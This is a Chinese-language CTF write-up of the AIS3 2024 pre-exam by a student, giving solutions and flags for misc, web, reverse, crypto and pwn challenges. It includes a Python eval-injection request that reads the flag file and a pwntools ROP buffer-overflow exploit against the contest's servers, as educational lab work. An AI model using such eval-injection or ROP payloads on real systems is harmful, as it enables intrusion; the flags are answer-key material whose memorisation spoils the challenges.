0%

AIS3 2024 pre-exam write up

自從上次參加 AIS3 後,我的 CTF 技術並沒有進步多少,抱著跟高一時一樣的程度參加了這次的 pre-exam

因為不怎麼厲害,解出來的題目不多。
話說這場 pre-exam 是我剛從美國比完 ISEF 飛回來的隔兩天就比,是有點刺激了。

Misc

Welcome

題目裡就有:D
Flag:

1
AIS3{Welc0me_to_AIS3_PreExam_2o24!}

Quantum Nim Heist

提示說要多玩,不用按照既定的遊戲規則走。
於是看 source code 發現有個地方沒有檢查輸入的限制:
圖片

也就是說如果 choice 是除了 0, 1, 2 以外的數字,會直接進到讓電腦玩家下棋,玩家不用下棋,這樣就可以跳過一步了。
圖片
如此一來就可以讓 nim_sum 在電腦下的時候是 0,如此就可以換成我們下棋使得 num_sum 為 0,進而贏得遊戲,而用 source code 中的程式就可以算出要下哪裡。

Flag:

1
AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}

(一開始本來以為是要破解 hash 有沒有漏洞,但原來不用)

Three Dimensional Secret

題目給了 Wireshark 的封包,打開後可以看到 192.168.77.128 想跟 192.168.77.1 通訊,後來兩邊開始了 TCP 通訊,並且是 192.168.77.1 傳很多資料給 192.168.77.128

圖片

打開第一個很大的封包看到有 MAXX、MAXY、MAXZ 的字,加上題目的 “Three Dimensional Secret”,可能跟 3D 印表機有關

第一個封包裡面的字:
圖片

查了一下發現內容是 G-code,好像是用來建模的語言(?。然後 192.168.77.1 傳了很多個包含 G-code 的封包所以,我就手工把每一個封包的 Data 複製到記事本,挑出是 G-code 的部分,然後貼到線上繪製 G-code 的平台。就可以看到這些 G-code 是在用 3D 列印印出 Flag。

圖片
G-code 長的就像是左邊的介面,G 是一個指令的開頭

Flag:

1
AIS3{b4d1y_tun3d_PriN73r}

(複製貼上有夠累,也許有更好的方法…?)

Web

Evil Calculator

看 source code 可以看到,如果用 http post 連上網站的 /calculate,就會用 eval() 執行在參數 expression 內的內容並且返回,這好像是可以利用的地方。
圖片

提供的 source code 有寫 flag 的檔案位置,所以要 eval() 的指令是 open('../flag','r').read(),因此在 payload 內 expression 的內容就是 open('../flag','r').read()

Script:

1
2
3
4
5
6
7
import requests
import json
url = "http://chals1.ais3.org:5001/calculate"
payload = {"expression": "open('../flag','r').read()"}
headers = {"content-type": "application/json"}
r = requests.post(url=url, data=json.dumps(payload), headers=headers)
print(r.text)

Flag:

1
AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

Reverse

The Long Print

用 Ghidra 打開檔案後,看到他輸出 flag 一個字元後會 sleep 很長一段時間
圖片

所以就用 Ghidra 把它改成短一點的時間
圖片

但因為他輸出完一個字元後會再輸出 \r,所以要輸出一個字元後按 enter,就可以留住字元。

Flag:

1
AIS3{You_are_the_master_of_time_management!!!!?}

(一開始看到 Flag 的開頭以為跟 AIS3 2022 一模一樣就送了那年的 Flag 但慢慢等完發現不太一樣 XD)

火拳のエース

用 Ghidra 打開檔案後,可以看到要我們輸入四個 8 個字的字串
圖片

然後 main() 呼叫了 print_flag(),這個函數就很慢很慢的印出部分的 flag。
圖片

接著這四個字串分別跟另外四個字串 (DAT 開頭的) 做 xor
圖片

看進去 xor_strings() 可以看到,基本上就是對一個字元一個字元的 ascii 做 xor,然後把結果傳到第三個參數的位置
圖片

然後看到四個 DAT 開頭的字串,可以看到他們是一串數字。
圖片

做完 xor_strings() 後,四個字串再一個字元一個字元分別被送進 complex_function() 裡面
圖片

complex_function():
圖片

最後四個字串作完的結果要分別等於 if 條件裡面的字串,所以這題的目標就是構造出輸入的字串,而這四個字串應該就是 flag
圖片

所以按照整個程式的流程寫出一個反過來的 script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
g0 = "DHLIYJEG"  # 最終要變成的字串
g1 = "MZRERYND"
g2 = "RUYODBAH"
g3 = "BKEMPBRE"

c0 = [0x0e, 0x0d, 0x7d, 0x06, 0x0f, 0x17, 0x76, 0x04] # DAT 開頭的字串
c1 = [0x6d, 0x00, 0x1b, 0x7c, 0x6c, 0x13, 0x62, 0x11]
c2 = [0x1e, 0x7e, 0x06, 0x13, 0x07, 0x66, 0x0e, 0x71]
c3 = [0x17, 0x14, 0x1d, 0x70, 0x79, 0x67, 0x74, 0x33]


def rev_complex_function(goal, param2):
goal = ord(goal)
now = goal - 0x41
iVar1 = param2 % 3 + 3
t = param2 % 3
if t == 0:
for x in range(26):
if (x*iVar1 + 7) % 0x1a == now:
local_10 = x
elif t == 1:
for x in range(26):
if (x + iVar1*2) % 0x1a == now:
local_10 = x
elif t == 2:
for x in range(26):
if (x - iVar1 + 0x1a) % 0x1a == now:
local_10 = x

param1 = -1
for i in range(26):
if (i + param2*0x11) % 0x1a == local_10:
param1 = i + 0x41
print(param2, param1, end=" ")
return chr(param1)


b0 = ""
b1 = ""
b2 = ""
b3 = ""
for i in range(len(g0)):
b0 += rev_complex_function(g0[i], i)
b1 += rev_complex_function(g1[i], i+0x20)
b2 += rev_complex_function(g2[i], i+0x40)
b3 += rev_complex_function(g3[i], i+0x60)

a0 = ""
a1 = ""
a2 = ""
a3 = ""
for i in range(len(b0)):
a0 += chr(ord(b0[i]) ^ c0[i])
a1 += chr(ord(b1[i]) ^ c1[i])
a2 += chr(ord(b2[i]) ^ c2[i])
a3 += chr(ord(b3[i]) ^ c3[i])

print(a0+a1+a2+a3)

Flag:

1
AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}

Crypto

babyRSA

圖片
encrypt() 裡面,是使用字元的 ASCII 一一加密,而不是整個字串轉成一個大數後再加密。

因為是用 ASCII 一個字元一個字元加密,加上我們有密文。所以只要窮舉 ASCII 的數字假裝是明文,然後公鑰加密後跟實際密文比對,如果相符代表就是那個 ASCII 數字。整個過程中不需要找出真正的私鑰。

Script:

1
2
3
4
5
6
7
encryped = []  # 題目給的密文串列
e, n = 0, 0 # 題目給的公鑰
for c in encryped:
for i in range(128):
tmp = pow(i, e, n)
if c == tmp:
print(chr(i), end="")

Flag:

1
AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}

(實際上跑出來的東西是 @)!,*^=AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}-=1#&*)

Pwn

Mathter

用 Ghidra 打開執行檔後,main() 的邏輯:
圖片

而在 calculator() 裡面,發現原來按 “q” 可以退出計算機進到 goodbye(),否則就會一直在 calculator() 裡面。
圖片

而在 goodbye() 裡面用了很危險的 gets()
圖片

這邊應該是一個很好的 buffer overflow 切入點。而從 assembly code 可以看到,local_c 應該是放在 rbp-0x4,所以我們的 padding 應該只要四個字元就可以到 rbp 的位置。
圖片

接著我在 gdb 執行的時候,偶然看到原來 goodbye() 上面有個 win2() 函數。
圖片

用 ghidra 看了才發現,原來 win1()win2() 是印出 flag 的函數,所以只要我們把 return address 設定成 win1()win2() 的位置,就可以得到 flag

圖片

圖片

win1()win2() 都要傳參數進去,像是 win1() 要傳 -0x21524111,也就是 0xffffffffdeadbeef。所以用 ROP 的方式,找到執行檔內可以使用的 gadget,讓參數存進 rdi,就可以在轉進 win1() 的同時帶有參數。

用 ROPgadget 找到 pop rdi 的 gadget:
圖片

用 readelf 找到 win1()win2() 的位置:
圖片

而 payload 應該長這樣:

1
2
3
payload = padding + rbp + pop_rdi + param1 + win1
# 或
payload = padding + rbp + pop_rdi + param2 + win2

程式執行流程是這樣:

  1. rip 返回位置被 pop_rdi 的 gadget 覆蓋
  2. goodbye() 結束後,跳轉至 0x402540,也就是執行 pop rdi; ret 的位置
  3. 此時 stack 頂端是 param1,所以 rdi 就存了 param1
  4. 接著 pop_rdi 又 return,此時跳轉到 win1(),並且帶有參數,成功進入取得 flag 的流程。

Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

host = "chals1.ais3.org"
port = 50001
p = remote(host, port)
padding = b"AAAA"
rbp = b"BBBBCCCC"

pop_rdi = p64(0x402540)
win1 = p64(0x4018c5)
win2 = p64(0x401997)
param1 = p64(0xffffffffdeadbeef) # -0x21524111
param2 = p64(0xffffffffcafebabe) # -0x35014542

# 把 param1 及 win1 換成 param2 及 win2 拿到完整 flag
payload = padding + rbp + pop_rdi + param1 + win1

p.sendline(b"q")
p.sendlineafter(b"[Y/n]", payload)
p.interactive()

執行 win1()
圖片

執行 win2()
圖片

Flag:

1
AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}

P.S.
一開始根本沒看到有 win1()win2() ,還以為要 RCE,然後這是我第一次操作 ROP,所以查了怎麼做之後成功在本地拿 shell,結果開遠端不知道為什麼失敗。後來是 gdb 執行才偶然看到有 win2(),用 ghidra 才發現有兩個 win() 的函數,繞了一大圈 XD。

後記

1
Final Rank: 58

滿有趣的,明明自己覺得沒有進步,這次又比上次多快 100 人參賽,卻拿到比預期好很多的成績。當然以我這個 CTF 菜雞還有很多進步空間 QQ。